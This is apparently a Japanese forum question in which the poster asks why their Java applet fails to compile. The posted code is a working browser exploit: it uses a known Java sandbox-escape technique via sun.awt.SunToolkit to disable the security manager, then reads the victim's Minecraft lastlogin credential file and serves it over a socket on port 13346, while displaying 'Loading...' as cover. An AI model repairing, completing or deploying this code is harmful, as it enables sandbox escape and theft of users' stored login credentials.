私はJavaが初めてで、コンパイルエラーがあります:
/tmp/jc_16831/Gondvv.java:71: cannot find symbol
symbol : method File(java.lang.String)
location: class Gondvv
File llf = File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );
OはFileクラスを含めているので、わかりません..
コードはここにあります:
package cve2012xxxx;
import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.lang.String;
import java.net.*;
import java.security.*;
import java.security.cert.Certificate;
import java.io.*;
import java.io.File;
public class Gondvv extends Applet
{
public Gondvv()
{
}
public void disableSecurity()
throws Throwable
{
Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
localProtectionDomain
});
SetField(Statement.class, "acc", localStatement, localAccessControlContext);
localStatement.execute();
}
private Class GetClass(String paramString)
throws Throwable
{
Object arrayOfObject[] = new Object[1];
arrayOfObject[0] = paramString;
Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
localExpression.execute();
return (Class)localExpression.getValue();
}
private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
throws Throwable
{
Object arrayOfObject[] = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;
Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);
}
public void start()
{
String userName = System.getProperty("user.name");
File llf = File( "c:/Users/" + userName + "/AppData/Roaming/.minecraft/lastlogin" );
InputStream inputStream = new FileInputStream(llf);
ServerSocket serverSocket = new ServerSocket(13346);
Socket socket = serverSocket.accept();
OutputStream outputStream = socket.getOutputStream();
int len = 0;
byte[] buffer = new byte[16384];
while ((len = inputStream.read(buffer)) > 0)
outputStream.write(buffer, 0, len);
inputStream.close();
outputStream.close();
socket.close();
}
public void init()
{
try
{
disableSecurity();
// Process localProcess = null;
// localProcess = Runtime.getRuntime().exec("calc.exe");
// if(localProcess != null);
// localProcess.waitFor();
}
catch(Throwable localThrowable)
{
localThrowable.printStackTrace();
}
}
public void paint(Graphics paramGraphics)
{
paramGraphics.drawString("Loading...", 25, 50);
}
}